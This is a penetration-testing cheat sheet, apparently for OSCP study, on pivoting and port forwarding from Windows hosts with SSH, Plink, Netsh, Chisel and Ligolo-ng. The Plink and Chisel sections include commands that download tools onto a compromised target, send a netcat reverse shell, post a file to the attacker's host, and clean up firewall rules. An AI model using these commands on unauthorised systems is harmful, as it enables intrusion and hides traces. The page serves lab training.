> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/port-forwarding/windows.md).
# Windows
## IMPORTANT NOTE
> **NOTE: REMEBER TO CHANGE THE PORT NUMBER IN /ETC/PROXYCHAINS TO KALI PORT YOU HAVE SET UP. (SAFEST IS TO KEEP ALL THE PORT THE SAME TO AVOID CONFUSION)**
## SSH.exe
### SSH Local Tunneling
#### On CONFLUENCE01
ssh -N -L 0.0.0.0:<CONFLUENCE01 Port>:<HRSHARES01 IP Address>:<HRSHARES Port> <PGDATABASE01 Username>@<PGDATABASE01 IP Address>
#### On KALI
> Any commands running on Kali to be pointed at CONFLUENCE01 IP Address
### SSH Dynamic Tunneling
#### On CONFLUENCE01
{% code overflow="wrap" %}
```bash
ssh -N -D 0.0.0.0:@
```
{% endcode %}
#### On Kali
> Any commands running on Kali to be pointed at HRSHARES01 IP Address via Proxychains
### SSH Remote Port Forwarding
#### On CONFLUENCE01
{% code overflow="wrap" %}
```bash
ssh -N -R 127.0.0.1::: kali@
```
{% endcode %}
#### On Kali
> Any commands running on Kali to be pointed at Loopback address
> **NOTE: Make sure machine is running OpenSSH**
### SSH Remote Dynamic Port Forwarding
#### On CONFLUENCE01
```bash
ssh -N -R kali@
```
#### On Kali
> Any commands running on Kali can be pointed at any IP via Proxychains
## Plink
> **NOTE:** **Make sure can RCE to machine**
### On Machine
1. Get Netcat from Kali
```powershell
powershell wget -Uri http:///nc.exe -Outfile C:\Windows\Temp\nc.exe
```
2. Set up listener on Kali
3. Send reverse shell to Kali via RCE
```powershell
C:\Windows\Temp\nc.exe -e cmd.exe
```
4. Get plink.exe
{% code overflow="wrap" %}
```powershell
powershell wget -Uri http:///plink.exe -Outfile C:\Windows\Temp\plink.exe
```
{% endcode %}
5. Execute port forwarding
{% code overflow="wrap" %}
```powershell
C:\Windows\Temp\plink.exe -ssh -l -pw kali -R 127.0.0.1::127.0.0.1:3389
```
{% endcode %}
> The port forwarding above allow us to RDP into the machine
### On Kali
> Any commands running on Kali to be pointed Loopback
## Netsh
> **NOTE: Make sure to RDP into a user that has Administrative rights**
{% stepper %}
{% step %}
### Create Netsh port forwarding
{% code overflow="wrap" %}
```sh
netsh interface portproxy add v4tov4 listenport=2222 listenaddress= connectport=22 connectaddress=
```
{% endcode %}
{% endstep %}
{% step %}
### Create firewall rule
{% code overflow="wrap" %}
```shell
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip= localport=2222 action=allow
```
{% endcode %}
{% endstep %}
{% step %}
> The above command allow us to SSH into PGDATABASE01 using PGDATABASE01 Username and MULTISERVER03 IP Address
### Clean tracks after done
{% code overflow="wrap" %}
```bash
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=
```
{% endcode %}
{% endstep %}
{% endstepper %}
## Chisel
### On Kali
To start server
```bash
chisel server --port 8080 --reverse
```
To monitor network streams
```bash
sudo tcpdump -nvvvXi tun0 tcp port 8080
```
> Any commands running on Kali to be pointed at PGDATABASE01 IP Address via Proxychains
### On CONFLUENCE01
To install chisel on target machine
{% code overflow="wrap" %}
```powershell
iwr -Uri http://:/chisel.exe -Outfile C:\Windows\Temp\chisel.exe
```
{% endcode %}
To port forward
```powershell
chisel.exe client : R:socks
```
To view the error output
{% code overflow="wrap" %}
```powershell
chisel.exe client : R:socks > C:\Windows\Temp\output.txt 2>&1
curl.exe --data-binary @C:\Windows\Temp\output.txt http://:/
```
{% endcode %}
## Ligolo-Ng
> **NOTE: When using nmap, add --unprivileged OR -PE to avoid false positives**
### Setup
On Kali
{% stepper %}
{% step %}
```bash
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add /24 dev ligolo
```
{% endstep %}
{% step %}
```bash
mkdir ligolo && cd ligolo
```
{% endstep %}
{% step %}
{% code overflow="wrap" %}
```bash
mkdir proxy && cd proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
cd ..
```
{% endcode %}
{% endstep %}
{% step %}
{% code overflow="wrap" %}
```bash
mkdir ../agents && cd ../agents
mkdir windows && cd windows
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_amd64.zip
unzip ligolo-ng_agent_0.7.5_windows_amd64.zip && rm ligolo-ng_agent_0.7.5_windows_amd64.zip
cd ..
```
{% endcode %}
{% endstep %}
{% step %}
{% code overflow="wrap" %}
```bash
mkdir linux && cd linux
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_agent_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
cd ..
```
{% endcode %}
{% endstep %}
{% step %}
```bash
python3 -m http.server 80
```
{% endstep %}
{% endstepper %}
On Target Machine
```shell
certutil -urlcache -split -f http:////agent.exe
```
### Tunnel
On Kali
```bash
./proxy -selfcert
```
> **NOTE: Run the above command in /ligolo/proxy**
On Target Machine
```shell
agent.exe -connect : -ignore-cert
```
> **NOTE: Once agent connects to server, return to Kali Machine and follow the steps in ligolo-ng console**
```
session
```
```